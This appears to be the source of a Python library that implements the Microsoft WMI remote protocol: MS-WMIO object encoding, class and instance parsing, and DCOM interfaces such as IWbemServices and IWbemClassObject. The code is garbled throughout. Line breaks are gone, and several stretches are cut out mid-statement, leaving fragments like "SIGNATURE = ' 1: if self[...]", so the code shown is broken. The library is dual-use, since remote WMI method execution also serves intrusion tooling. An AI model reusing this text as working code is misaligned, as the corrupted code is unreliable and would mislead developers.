WBEM_FLAVOR_NOT_OVERRIDABLE = 0x10 WBEM_FLAVOR_ORIGIN_PROPAGATED = 0x20 WBEM_FLAVOR_ORIGIN_SYSTEM = 0x40 WBEM_FLAVOR_AMENDED = 0x80 # 2.2.6 ObjectFlags OBJECT_FLAGS = 'B=0' #2.2.77 Signature SIGNATURE = ' 1: if self['Encoded_String_Flag'] == 0: self.structure += self.tascii # Let's search for the end of the string index = data[1:].find(b'\x00') data = data[:index+1+1] else: self.structure = self.tunicode self.isUnicode = True self.fromString(data) else: self.structure = self.tascii self.data = None def __getitem__(self, key): if key == 'Character' and self.isUnicode: return self.fields['Character'].decode('utf-16le') return Structure.__getitem__(self, key) # 2.2.8 DecServerName DEC_SERVER_NAME = ENCODED_STRING # 2.2.9 DecNamespaceName DEC_NAMESPACE_NAME = ENCODED_STRING # 2.2.7 Decoration class DECORATION(Structure): structure = ( ('DecServerName', ':', DEC_SERVER_NAME), ('DecNamespaceName', ':', DEC_NAMESPACE_NAME), ) # 2.2.69 HeapRef HEAPREF = ' 0: itemn = QUALIFIER(data) if itemn['QualifierName'] == 0xffffffff: qName = b'' elif itemn['QualifierName'] & 0x80000000: qName = DICTIONARY_REFERENCE[itemn['QualifierName'] & 0x7fffffff] else: qName = ENCODED_STRING(heap[itemn['QualifierName']:])['Character'] value = ENCODED_VALUE.getValue(itemn['QualifierType'], itemn['QualifierValue'], heap) qualifiers[qName] = value data = data[len(itemn):] return qualifiers # 2.2.20 ClassQualifierSet CLASS_QUALIFIER_SET = QUALIFIER_SET # 2.2.22 PropertyCount PROPERTY_COUNT = ' 0: record = QUALIFIER(qualifiersBuf) if record['QualifierName'] & 0x80000000: qualifierName = DICTIONARY_REFERENCE[record['QualifierName'] & 0x7fffffff] else: qualifierName = ENCODED_STRING(heap[record['QualifierName']:])['Character'] qualifierValue = ENCODED_VALUE.getValue(record['QualifierType'], record['QualifierValue'], heap) qualifiersBuf = qualifiersBuf[len(record):] qualifiers[qualifierName] = qualifierValue propItemDict['qualifiers'] = qualifiers properties[propName] = propItemDict propTable = propTable[self.PropertyLookupSize:] return OrderedDict(sorted(list(properties.items()), key=lambda x:x[1]['order'])) #return properties # 2.2.66 Heap HEAP_LENGTH = ' 0: value = ENCODED_VALUE.getValue(properties[key]['type'], itemValue, heap) properties[key]['value'] = "%s" % value valueTable = valueTable[dataSize:] return properties # 2.2.39 MethodCount METHOD_COUNT = ' 0: methodDict['InParams'] = inputSignature['ObjectBlock']['ClassType']['CurrentClass'].getProperties() methodDict['InParamsRaw'] = inputSignature['ObjectBlock'] #print methodDict['InParams'] else: methodDict['InParams'] = None if itemn['OutputSignature'] != 0xffffffff: outputSignature = METHOD_SIGNATURE_BLOCK(heap[itemn['OutputSignature']:]) if outputSignature['EncodingLength'] > 0: methodDict['OutParams'] = outputSignature['ObjectBlock']['ClassType']['CurrentClass'].getProperties() methodDict['OutParamsRaw'] = outputSignature['ObjectBlock'] else: methodDict['OutParams'] = None data = data[len(itemn):] methods[methodDict['name']] = methodDict return methods # 2.2.14 ClassAndMethodsPart class CLASS_AND_METHODS_PART(Structure): structure = ( ('ClassPart', ':', CLASS_PART), ('MethodsPart', ':', METHODS_PART), ) def getClassName(self): pClassName = self['ClassPart']['ClassHeader']['ClassNameRef'] cHeap = self['ClassPart']['ClassHeap']['HeapItem'] if pClassName == 0xffffffff: return 'None' else: className = ENCODED_STRING(cHeap[pClassName:])['Character'] derivationList = self['ClassPart']['DerivationList']['ClassNameEncoding'] while len(derivationList) > 0: superClass = ENCODED_STRING(derivationList)['Character'] className += ' : %s ' % superClass derivationList = derivationList[len(ENCODED_STRING(derivationList))+4:] return className def getQualifiers(self): return self["ClassPart"].getQualifiers() def getProperties(self): #print format_structure(self["ClassPart"].getProperties()) return self["ClassPart"].getProperties() def getMethods(self): return self["MethodsPart"].getMethods() # 2.2.13 CurrentClass CURRENT_CLASS = CLASS_AND_METHODS_PART # 2.2.54 InstanceFlags INSTANCE_FLAGS = 'B=0' # 2.2.55 InstanceClassName INSTANCE_CLASS_NAME = HEAP_STRING_REF # 2.2.27 NullAndDefaultFlag NULL_AND_DEFAULT_FLAG = 'B=0' # 2.2.26 NdTable NDTABLE = NULL_AND_DEFAULT_FLAG # 2.2.56 InstanceData #InstanceData = ValueTable class CURRENT_CLASS_NO_METHODS(CLASS_AND_METHODS_PART): structure = ( ('ClassPart', ':', CLASS_PART), ) def getMethods(self): return () # 2.2.65 InstancePropQualifierSet INST_PROP_QUAL_SET_FLAG = 'B=0' class INSTANCE_PROP_QUALIFIER_SET(Structure): commonHdr = ( ('InstPropQualSetFlag', INST_PROP_QUAL_SET_FLAG), ) tail = ( # ToDo: this is wrong.. this should be an array of QualifierSet, see documentation #('QualifierSet', ':', QualifierSet), ('QualifierSet', ':', QUALIFIER_SET), ) def __init__(self, data = None, alignment = 0): Structure.__init__(self, data, alignment) self.structure = () if data is not None: # Let's first check the commonHdr self.fromString(data) if self['InstPropQualSetFlag'] == 2: # We don't support this yet! raise Exception("self['InstPropQualSetFlag'] == 2") self.fromString(data) else: self.data = None # 2.2.57 InstanceQualifierSet class INSTANCE_QUALIFIER_SET(Structure): structure = ( ('QualifierSet', ':', QUALIFIER_SET), ('InstancePropQualifierSet', ':', INSTANCE_PROP_QUALIFIER_SET), ) # 2.2.58 InstanceHeap INSTANCE_HEAP = HEAP # 2.2.53 InstanceType class INSTANCE_TYPE(Structure): commonHdr = ( ('CurrentClass', ':', CURRENT_CLASS_NO_METHODS), ('EncodingLength', ENCODING_LENGTH), ('InstanceFlags', INSTANCE_FLAGS), ('InstanceClassName', INSTANCE_CLASS_NAME), ('_NdTable_ValueTable', '_-NdTable_ValueTable', 'self["CurrentClass"]["ClassPart"]["ClassHeader"]["NdTableValueTableLength"]'), ('NdTable_ValueTable',':'), ('InstanceQualifierSet', ':', INSTANCE_QUALIFIER_SET), ('InstanceHeap', ':', INSTANCE_HEAP), ) def __init__(self, data = None, alignment = 0): Structure.__init__(self, data, alignment) self.structure = () if data is not None: # Let's first check the commonHdr self.fromString(data) #hexdump(data[len(self.getData()):]) self.NdTableSize = (self['CurrentClass']['ClassPart']['PropertyLookupTable']['PropertyCount'] - 1) //4 + 1 #self.InstanceDataSize = self['CurrentClass']['ClassPart']['PropertyLookupTable']['PropertyCount'] * len(InstanceData()) self.fromString(data) else: self.data = None def __processNdTable(self, properties): octetCount = (len(properties) - 1) // 4 + 1 # see [MS-WMIO]: 2.2.26 NdTable packedNdTable = self['NdTable_ValueTable'][:octetCount] unpackedNdTable = [(byte >> shift) & 0b11 for byte in six.iterbytes(packedNdTable) for shift in (0, 2, 4, 6)] for key in properties: ndEntry = unpackedNdTable[properties[key]['order']] properties[key]['null_default'] = bool(ndEntry & 0b01) properties[key]['inherited_default'] = bool(ndEntry & 0b10) return octetCount @staticmethod def __isNonNullNumber(prop): return prop['type'] & ~Inherited in CIM_NUMBER_TYPES and not prop['null_default'] def getValues(self, properties): heap = self["InstanceHeap"]["HeapItem"] valueTableOff = self.__processNdTable(properties) valueTable = self['NdTable_ValueTable'][valueTableOff:] sorted_props = sorted(list(properties.keys()), key=lambda k: properties[k]['order']) for key in sorted_props: pType = properties[key]['type'] & (~(CIM_ARRAY_FLAG|Inherited)) if properties[key]['type'] & CIM_ARRAY_FLAG: unpackStr = HEAPREF[:-2] else: unpackStr = CIM_TYPES_REF[pType][:-2] dataSize = calcsize(unpackStr) try: itemValue = unpack(unpackStr, valueTable[:dataSize])[0] except: LOG.error("getValues: Error Unpacking!") itemValue = 0xffffffff # if itemValue == 0, default value remains if itemValue != 0 or self.__isNonNullNumber(properties[key]): value = ENCODED_VALUE.getValue( properties[key]['type'], itemValue, heap) properties[key]['value'] = value # is the value set valid or should we clear it? ( if not inherited ) elif properties[key]['inherited'] == 0: properties[key]['value'] = None valueTable = valueTable[dataSize:] return properties # 2.2.12 ParentClass PARENT_CLASS = CLASS_AND_METHODS_PART # 2.2.13 CurrentClass CURRENT_CLASS = CLASS_AND_METHODS_PART class CLASS_TYPE(Structure): structure = ( ('ParentClass', ':', PARENT_CLASS), ('CurrentClass', ':', CURRENT_CLASS), ) # 2.2.5 ObjectBlock class OBJECT_BLOCK(Structure): commonHdr = ( ('ObjectFlags', OBJECT_FLAGS), ) decoration = ( ('Decoration', ':', DECORATION), ) instanceType = ( ('InstanceType', ':', INSTANCE_TYPE), ) classType = ( ('ClassType', ':', CLASS_TYPE), ) def __init__(self, data = None, alignment = 0): Structure.__init__(self, data, alignment) self.ctParent = None self.ctCurrent = None if data is not None: self.structure = () if ord(data[0:1]) & 0x4: # WMIO - 2.2.6 - 0x04 If this flag is set, the object has a Decoration block. self.structure += self.decoration if ord(data[0:1]) & 0x01: # The object is a CIM class. self.structure += self.classType else: self.structure += self.instanceType self.fromString(data) else: self.data = None def isInstance(self): if self['ObjectFlags'] & 0x01: return False return True def printClass(self, pClass, cInstance = None): qualifiers = pClass.getQualifiers() for qualifier in qualifiers: print("[%s]" % qualifier) className = pClass.getClassName() print("class %s \n{" % className) properties = pClass.getProperties() if cInstance is not None: properties = cInstance.getValues(properties) for pName in properties: #if property['inherited'] == 0: qualifiers = properties[pName]['qualifiers'] for qName in qualifiers: if qName != 'CIMTYPE': print('\t[%s(%s)]' % (qName, qualifiers[qName])) print("\t%s %s" % (properties[pName]['stype'], properties[pName]['name']), end=' ') if properties[pName]['value'] is not None: if properties[pName]['type'] == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value: print('= IWbemClassObject\n') elif properties[pName]['type'] == CIM_TYPE_ENUM.CIM_ARRAY_OBJECT.value: if properties[pName]['value'] == 0: print('= %s\n' % properties[pName]['value']) else: print('= %s\n' % list('IWbemClassObject' for _ in range(len(properties[pName]['value'])))) else: print('= %s\n' % properties[pName]['value']) else: print('\n') print() methods = pClass.getMethods() for methodName in methods: for qualifier in methods[methodName]['qualifiers']: print('\t[%s]' % qualifier) if methods[methodName]['InParams'] is None and methods[methodName]['OutParams'] is None: print('\t%s %s();\n' % ('void', methodName)) if methods[methodName]['InParams'] is None and len(methods[methodName]['OutParams']) == 1: print('\t%s %s();\n' % (methods[methodName]['OutParams']['ReturnValue']['stype'], methodName)) else: returnValue = b'' if methods[methodName]['OutParams'] is not None: # Search the Return Value #returnValue = (item for item in method['OutParams'] if item["name"] == "ReturnValue").next() if 'ReturnValue' in methods[methodName]['OutParams']: returnValue = methods[methodName]['OutParams']['ReturnValue']['stype'] print('\t%s %s(\n' % (returnValue, methodName), end=' ') if methods[methodName]['InParams'] is not None: for pName in methods[methodName]['InParams']: print('\t\t[in] %s %s,' % (methods[methodName]['InParams'][pName]['stype'], pName)) if methods[methodName]['OutParams'] is not None: for pName in methods[methodName]['OutParams']: if pName != 'ReturnValue': print('\t\t[out] %s %s,' % (methods[methodName]['OutParams'][pName]['stype'], pName)) print('\t);\n') print("}") def parseClass(self, pClass, cInstance = None): classDict = OrderedDict() classDict['name'] = pClass.getClassName() classDict['qualifiers'] = pClass.getQualifiers() classDict['properties'] = pClass.getProperties() classDict['methods'] = pClass.getMethods() if cInstance is not None: classDict['values'] = cInstance.getValues(classDict['properties']) else: classDict['values'] = None return classDict def parseObject(self): if (self['ObjectFlags'] & 0x01) == 0: # instance ctCurrent = self['InstanceType']['CurrentClass'] currentName = ctCurrent.getClassName() if currentName is not None: self.ctCurrent = self.parseClass(ctCurrent, self['InstanceType']) return else: ctParent = self['ClassType']['ParentClass'] ctCurrent = self['ClassType']['CurrentClass'] parentName = ctParent.getClassName() if parentName is not None: self.ctParent = self.parseClass(ctParent) currentName = ctCurrent.getClassName() if currentName is not None: self.ctCurrent = self.parseClass(ctCurrent) def printInformation(self): # First off, do we have a class? if (self['ObjectFlags'] & 0x01) == 0: # instance ctCurrent = self['InstanceType']['CurrentClass'] currentName = ctCurrent.getClassName() if currentName is not None: self.printClass(ctCurrent, self['InstanceType']) return else: ctParent = self['ClassType']['ParentClass'] ctCurrent = self['ClassType']['CurrentClass'] parentName = ctParent.getClassName() if parentName is not None: self.printClass(ctParent) currentName = ctCurrent.getClassName() if currentName is not None: self.printClass(ctCurrent) # 2.2.70 MethodSignatureBlock class METHOD_SIGNATURE_BLOCK(Structure): commonHdr = ( ('EncodingLength', ENCODING_LENGTH), ) tail = ( ('_ObjectBlock', '_-ObjectBlock', 'self["EncodingLength"]'), ('ObjectBlock', ':', OBJECT_BLOCK), ) def __init__(self, data = None, alignment = 0): Structure.__init__(self, data, alignment) if data is not None: self.fromString(data) if self['EncodingLength'] > 0: self.structure = () self.structure += self.tail self.fromString(data) else: self.data = None # 2.2.1 EncodingUnit class ENCODING_UNIT(Structure): structure = ( ('Signature', SIGNATURE), ('ObjectEncodingLength', OBJECT_ENCODING_LENGTH), ('_ObjectBlock', '_-ObjectBlock', 'self["ObjectEncodingLength"]'), ('ObjectBlock', ':', OBJECT_BLOCK), ) ################################################################################ # CONSTANTS ################################################################################ # 1.9 Standards Assignments CLSID_WbemLevel1Login = string_to_bin('8BC3F05E-D86B-11D0-A075-00C04FB68820') CLSID_WbemBackupRestore = string_to_bin('C49E32C6-BC8B-11D2-85D4-00105A1F8304') CLSID_WbemClassObject = string_to_bin('4590F812-1D3A-11D0-891F-00AA004B2E24') IID_IWbemLevel1Login = uuidtup_to_bin(('F309AD18-D86A-11d0-A075-00C04FB68820', '0.0')) IID_IWbemLoginClientID = uuidtup_to_bin(('d4781cd6-e5d3-44df-ad94-930efe48a887', '0.0')) IID_IWbemLoginHelper = uuidtup_to_bin(('541679AB-2E5F-11d3-B34E-00104BCC4B4A', '0.0')) IID_IWbemServices = uuidtup_to_bin(('9556DC99-828C-11CF-A37E-00AA003240C7', '0.0')) IID_IWbemBackupRestore = uuidtup_to_bin(('C49E32C7-BC8B-11d2-85D4-00105A1F8304', '0.0')) IID_IWbemBackupRestoreEx = uuidtup_to_bin(('A359DEC5-E813-4834-8A2A-BA7F1D777D76', '0.0')) IID_IWbemClassObject = uuidtup_to_bin(('DC12A681-737F-11CF-884D-00AA004B2E24', '0.0')) IID_IWbemContext = uuidtup_to_bin(('44aca674-e8fc-11d0-a07c-00c04fb68820', '0.0')) IID_IEnumWbemClassObject = uuidtup_to_bin(('027947e1-d731-11ce-a357-000000000001', '0.0')) IID_IWbemCallResult = uuidtup_to_bin(('44aca675-e8fc-11d0-a07c-00c04fb68820', '0.0')) IID_IWbemFetchSmartEnum = uuidtup_to_bin(('1C1C45EE-4395-11d2-B60B-00104B703EFD', '0.0')) IID_IWbemWCOSmartEnum = uuidtup_to_bin(('423EC01E-2E35-11d2-B604-00104B703EFD', '0.0')) error_status_t = ULONG # lFlags WBEM_FLAG_RETURN_WBEM_COMPLETE = 0x00000000 WBEM_FLAG_UPDATE_ONLY = 0x00000001 WBEM_FLAG_CREATE_ONLY = 0x00000002 WBEM_FLAG_RETURN_IMMEDIATELY = 0x00000010 WBEM_FLAG_UPDATE_SAFE_MODE = 0x00000020 WBEM_FLAG_FORWARD_ONLY = 0x00000020 WBEM_FLAG_NO_ERROR_OBJECT = 0x00000040 WBEM_FLAG_UPDATE_FORCE_MODE = 0x00000040 WBEM_FLAG_SEND_STATUS = 0x00000080 WBEM_FLAG_ENSURE_LOCATABLE = 0x00000100 WBEM_FLAG_DIRECT_READ = 0x00000200 WBEM_MASK_RESERVED_FLAGS = 0x0001F000 WBEM_FLAG_USE_AMENDED_QUALIFIERS = 0x00020000 WBEM_FLAG_STRONG_VALIDATION = 0x00100000 WBEM_FLAG_BACKUP_RESTORE_FORCE_SHUTDOWN = 0x00000001 WBEM_INFINITE = 0xffffffff ################################################################################ # STRUCTURES ################################################################################ class UCHAR_ARRAY_CV(NDRUniConformantVaryingArray): item = 'c' class PUCHAR_ARRAY_CV(NDRPOINTER): referent = ( ('Data', UCHAR_ARRAY_CV), ) class PMInterfacePointer_ARRAY_CV(NDRUniConformantVaryingArray): item = PMInterfacePointer REFGUID = PGUID class ULONG_ARRAY(NDRUniConformantArray): item = ULONG class PULONG_ARRAY(NDRPOINTER): referent = ( ('Data', ULONG_ARRAY), ) # 2.2.5 WBEM_CHANGE_FLAG_TYPE Enumeration class WBEM_CHANGE_FLAG_TYPE(NDRENUM): # [v1_enum] type structure = ( ('Data', '>= 8 # Now let's update the structure objRef = self.get_objRef() objRef = OBJREF_CUSTOM(objRef) encodingUnit = ENCODING_UNIT(objRef['pObjectData']) currentClass = encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = b'' encodingUnit['ObjectBlock']['InstanceType']['NdTable_ValueTable'] = packedNdTable + valueTable encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapLength'] = len(instanceHeap) | 0x80000000 encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapItem'] = instanceHeap encodingUnit['ObjectBlock']['InstanceType']['EncodingLength'] = len(encodingUnit['ObjectBlock']['InstanceType']) encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = currentClass encodingUnit['ObjectEncodingLength'] = len(encodingUnit['ObjectBlock']) #encodingUnit.dump() #ENCODING_UNIT(str(encodingUnit)).dump() objRef['pObjectData'] = encodingUnit return objRef def SpawnInstance(self): # Doing something similar to: # https://docs.microsoft.com/windows/desktop/api/wbemcli/nf-wbemcli-iwbemclassobject-spawninstance # if self.encodingUnit['ObjectBlock'].isInstance() is False: # We need to convert some things to transform a class into an instance encodingUnit = ENCODING_UNIT() instanceData = OBJECT_BLOCK() instanceData.structure += OBJECT_BLOCK.decoration instanceData.structure += OBJECT_BLOCK.instanceType instanceData['ObjectFlags'] = 6 instanceData['Decoration'] = self.encodingUnit['ObjectBlock']['Decoration'].getData() instanceType = INSTANCE_TYPE() instanceType['CurrentClass'] = b'' # Let's create the heap for the parameters instanceHeap = b'' valueTable = b'' parametersClass = ENCODED_STRING() parametersClass['Character'] = self.getClassName() instanceHeap += parametersClass.getData() curHeapPtr = len(instanceHeap) ndTable = 0 properties = self.getProperties() # Let's initialize the values for i, propName in enumerate(properties): propRecord = properties[propName] pType = propRecord['type'] & (~(CIM_ARRAY_FLAG|Inherited)) if propRecord['type'] & CIM_ARRAY_FLAG: # Not yet ready #print paramDefinition #raise packStr = HEAPREF[:-2] else: packStr = CIM_TYPES_REF[pType][:-2] if propRecord['type'] & CIM_ARRAY_FLAG: valueTable += pack(packStr, 0) elif pType not in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value, CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value): valueTable += pack(packStr, 0) elif pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value: # For now we just pack None and set the inherited_default # flag, just in case a parent class defines this for us valueTable += b'\x00'*4 ndTable |= self.__ndEntry(i, True, True) else: strIn = ENCODED_STRING() strIn['Character'] = '' valueTable += pack('>= 8 instanceType['NdTable_ValueTable'] = packedNdTable + valueTable instanceType['InstanceQualifierSet'] = b'\x04\x00\x00\x00\x01' instanceType['InstanceHeap'] = HEAP() instanceType['InstanceHeap']['HeapItem'] = instanceHeap instanceType['InstanceHeap']['HeapLength'] = len(instanceHeap) | 0x80000000 instanceType['EncodingLength'] = len(instanceType) instanceType['CurrentClass'] = self.encodingUnit['ObjectBlock']['ClassType']['CurrentClass']['ClassPart'] instanceData['InstanceType'] = instanceType.getData() encodingUnit['ObjectBlock'] = instanceData encodingUnit['ObjectEncodingLength'] = len(instanceData) #ENCODING_UNIT(str(encodingUnit)).dump() objRefCustomIn = OBJREF_CUSTOM() objRefCustomIn['iid'] = self._iid objRefCustomIn['clsid'] = CLSID_WbemClassObject objRefCustomIn['cbExtension'] = 0 objRefCustomIn['ObjectReferenceSize'] = len(encodingUnit) objRefCustomIn['pObjectData'] = encodingUnit # There's gotta be a better way to do this # I will reimplement this stuff once I know it works import copy newObj = copy.deepcopy(self) newObj.set_objRef(objRefCustomIn.getData()) newObj.process_interface(objRefCustomIn.getData()) newObj.encodingUnit = ENCODING_UNIT(encodingUnit.getData()) newObj.parseObject() if newObj.encodingUnit['ObjectBlock'].isInstance() is False: newObj.createMethods(newObj.getClassName(), newObj.getMethods()) else: newObj.createProperties(newObj.getProperties()) return newObj else: return self def createProperties(self, properties): for property in properties: # Do we have an object property? if properties[property]['type'] == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value: # Yes.. let's create an Object for it too objRef = OBJREF_CUSTOM() objRef['iid'] = self._iid objRef['clsid'] = CLSID_WbemClassObject objRef['cbExtension'] = 0 objRef['ObjectReferenceSize'] = len(properties[property]['value'].getData()) objRef['pObjectData'] = properties[property]['value'] value = IWbemClassObject( INTERFACE(self.get_cinstance(), objRef.getData(), self.get_ipidRemUnknown(), oxid=self.get_oxid(), target=self.get_target())) elif properties[property]['type'] == CIM_TYPE_ENUM.CIM_ARRAY_OBJECT.value: if isinstance(properties[property]['value'], list): value = list() for item in properties[property]['value']: # Yes.. let's create an Object for it too objRef = OBJREF_CUSTOM() objRef['iid'] = self._iid objRef['clsid'] = CLSID_WbemClassObject objRef['cbExtension'] = 0 objRef['ObjectReferenceSize'] = len(item.getData()) objRef['pObjectData'] = item wbemClass = IWbemClassObject( INTERFACE(self.get_cinstance(), objRef.getData(), self.get_ipidRemUnknown(), oxid=self.get_oxid(), target=self.get_target())) value.append(wbemClass) else: value = properties[property]['value'] else: value = properties[property]['value'] setattr(self, property, value) def createMethods(self, classOrInstance, methods): class FunctionPool: def __init__(self,function): self.function = function def __getitem__(self,item): return partial(self.function,item) @FunctionPool def innerMethod(staticArgs, *args): classOrInstance = staticArgs[0] methodDefinition = staticArgs[1] if methodDefinition['InParams'] is not None: if len(args) != len(methodDefinition['InParams']): LOG.error("Function called with %d parameters instead of %d!" % (len(args), len(methodDefinition['InParams']))) return None # In Params encodingUnit = ENCODING_UNIT() inParams = OBJECT_BLOCK() inParams.structure += OBJECT_BLOCK.instanceType inParams['ObjectFlags'] = 2 inParams['Decoration'] = b'' instanceType = INSTANCE_TYPE() instanceType['CurrentClass'] = b'' instanceType['InstanceQualifierSet'] = b'\x04\x00\x00\x00\x01' # Let's create the heap for the parameters instanceHeap = b'' valueTable = b'' parametersClass = ENCODED_STRING() parametersClass['Character'] = '__PARAMETERS' instanceHeap += parametersClass.getData() curHeapPtr = len(instanceHeap) ndTable = 0 for i in range(len(args)): paramDefinition = list(methodDefinition['InParams'].values())[i] inArg = args[i] pType = paramDefinition['type'] & (~(CIM_ARRAY_FLAG|Inherited)) if paramDefinition['type'] & CIM_ARRAY_FLAG: # Not yet ready #print paramDefinition #raise packStr = HEAPREF[:-2] else: packStr = CIM_TYPES_REF[pType][:-2] if paramDefinition['type'] & CIM_ARRAY_FLAG: if inArg is None: valueTable += pack(packStr, 0) elif pType in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value, CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value): arraySize = pack(HEAPREF[:-2], len(inArg)) arrayItems = [] for j in range(len(inArg)): curVal = inArg[j] if pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value: curObject = b'' marshaledObject = curVal.marshalMe() curObject += pack('>= 8 instanceType['NdTable_ValueTable'] = packedNdTable + valueTable heapRecord = HEAP() heapRecord['HeapLength'] = len(instanceHeap) | 0x80000000 heapRecord['HeapItem'] = instanceHeap instanceType['InstanceHeap'] = heapRecord instanceType['EncodingLength'] = len(instanceType) inMethods = methodDefinition['InParamsRaw']['ClassType']['CurrentClass']['ClassPart'] inMethods['ClassHeader']['EncodingLength'] = len( methodDefinition['InParamsRaw']['ClassType']['CurrentClass']['ClassPart'].getData()) instanceType['CurrentClass'] = inMethods inParams['InstanceType'] = instanceType.getData() encodingUnit['ObjectBlock'] = inParams encodingUnit['ObjectEncodingLength'] = len(inParams) objRefCustomIn = OBJREF_CUSTOM() objRefCustomIn['iid'] = self._iid objRefCustomIn['clsid'] = CLSID_WbemClassObject objRefCustomIn['cbExtension'] = 0 objRefCustomIn['ObjectReferenceSize'] = len(encodingUnit) objRefCustomIn['pObjectData'] = encodingUnit else: objRefCustomIn = NULL ### OutParams encodingUnit = ENCODING_UNIT() outParams = OBJECT_BLOCK() outParams.structure += OBJECT_BLOCK.instanceType outParams['ObjectFlags'] = 2 outParams['Decoration'] = b'' instanceType = INSTANCE_TYPE() instanceType['CurrentClass'] = b'' instanceType['NdTable_ValueTable'] = b'' instanceType['InstanceQualifierSet'] = b'' instanceType['InstanceHeap'] = b'' instanceType['EncodingLength'] = len(instanceType) instanceType['CurrentClass'] = methodDefinition['OutParamsRaw']['ClassType']['CurrentClass']['ClassPart'].getData() outParams['InstanceType'] = instanceType.getData() encodingUnit['ObjectBlock'] = outParams encodingUnit['ObjectEncodingLength'] = len(outParams) objRefCustom = OBJREF_CUSTOM() objRefCustom['iid'] = self._iid objRefCustom['clsid'] = CLSID_WbemClassObject objRefCustom['cbExtension'] = 0 objRefCustom['ObjectReferenceSize'] = len(encodingUnit) objRefCustom['pObjectData'] = encodingUnit try: return self.__iWbemServices.ExecMethod(classOrInstance, methodDefinition['name'], pInParams = objRefCustomIn ) #return self.__iWbemServices.ExecMethod('Win32_Process.Handle="436"', methodDefinition['name'], # pInParams=objRefCustomIn).getObject().ctCurrent['properties'] except Exception as e: if LOG.level == logging.DEBUG: import traceback traceback.print_exc() LOG.error(str(e)) for methodName in methods: innerMethod.__name__ = methodName setattr(self,innerMethod.__name__,innerMethod[classOrInstance,methods[methodName]]) #methods = self.encodingUnit['ObjectBlock'] class IWbemLoginClientID(IRemUnknown): def __init__(self, interface): IRemUnknown.__init__(self,interface) self._iid = IID_IWbemLoginClientID def SetClientInfo(self, wszClientMachine, lClientProcId = 1234): request = IWbemLoginClientID_SetClientInfo() request['wszClientMachine'] = checkNullString(wszClientMachine) request['lClientProcId'] = lClientProcId request['lReserved'] = 0 resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp class IWbemLoginHelper(IRemUnknown): def __init__(self, interface): IRemUnknown.__init__(self,interface) self._iid = IID_IWbemLoginHelper def SetEvent(self, sEventToSet): request = IWbemLoginHelper_SetEvent() request['sEventToSet'] = sEventToSet resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp class IWbemWCOSmartEnum(IRemUnknown): def __init__(self, interface): IRemUnknown.__init__(self,interface) self._iid = IID_IWbemWCOSmartEnum def Next(self, proxyGUID, lTimeout, uCount): request = IWbemWCOSmartEnum_Next() request['proxyGUID'] = proxyGUID request['lTimeout'] = lTimeout request['uCount'] = uCount resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp class IWbemFetchSmartEnum(IRemUnknown): def __init__(self, interface): IRemUnknown.__init__(self,interface) self._iid = IID_IWbemFetchSmartEnum def GetSmartEnum(self, lTimeout): request = IWbemFetchSmartEnum_GetSmartEnum() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp class IWbemCallResult(IRemUnknown): def __init__(self, interface): IRemUnknown.__init__(self,interface) self._iid = IID_IWbemCallResult def GetResultObject(self, lTimeout): request = IWbemCallResult_GetResultObject() request['lTimeout'] = lTimeout resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def GetResultString(self, lTimeout): request = IWbemCallResult_GetResultString() request['lTimeout'] = lTimeout resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def GetResultServices(self, lTimeout): request = IWbemCallResult_GetResultServices() request['lTimeout'] = lTimeout resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def GetCallStatus(self, lTimeout): request = IWbemCallResult_GetCallStatus() request['lTimeout'] = lTimeout resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp['plStatus'] class IEnumWbemClassObject(IRemUnknown): def __init__(self, interface, iWbemServices = None): IRemUnknown.__init__(self,interface) self._iid = IID_IEnumWbemClassObject self.__iWbemServices = iWbemServices def Reset(self): request = IEnumWbemClassObject_Reset() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def Next(self, lTimeout, uCount): request = IEnumWbemClassObject_Next() request['lTimeout'] = lTimeout request['uCount'] = uCount resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) interfaces = list() for interface in resp['apObjects']: interfaces.append(IWbemClassObject( INTERFACE(self.get_cinstance(), b''.join(interface['abData']), self.get_ipidRemUnknown(), oxid=self.get_oxid(), target=self.get_target()), self.__iWbemServices)) return interfaces def NextAsync(self, lTimeout, pSink): request = IEnumWbemClassObject_NextAsync() request['lTimeout'] = lTimeout request['pSink'] = pSink resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def Clone(self): request = IEnumWbemClassObject_Clone() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def Skip(self, lTimeout, uCount): request = IEnumWbemClassObject_Skip() request['lTimeout'] = lTimeout request['uCount'] = uCount resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp class IWbemServices(IRemUnknown): def __init__(self, interface): IRemUnknown.__init__(self,interface) self._iid = IID_IWbemServices def OpenNamespace(self, strNamespace, lFlags=0, pCtx = NULL): request = IWbemServices_OpenNamespace() request['strNamespace']['asData'] = strNamespace request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def CancelAsyncCall(self,IWbemObjectSink ): request = IWbemServices_CancelAsyncCall() request['IWbemObjectSink'] = IWbemObjectSink resp = self.request(request, iid = 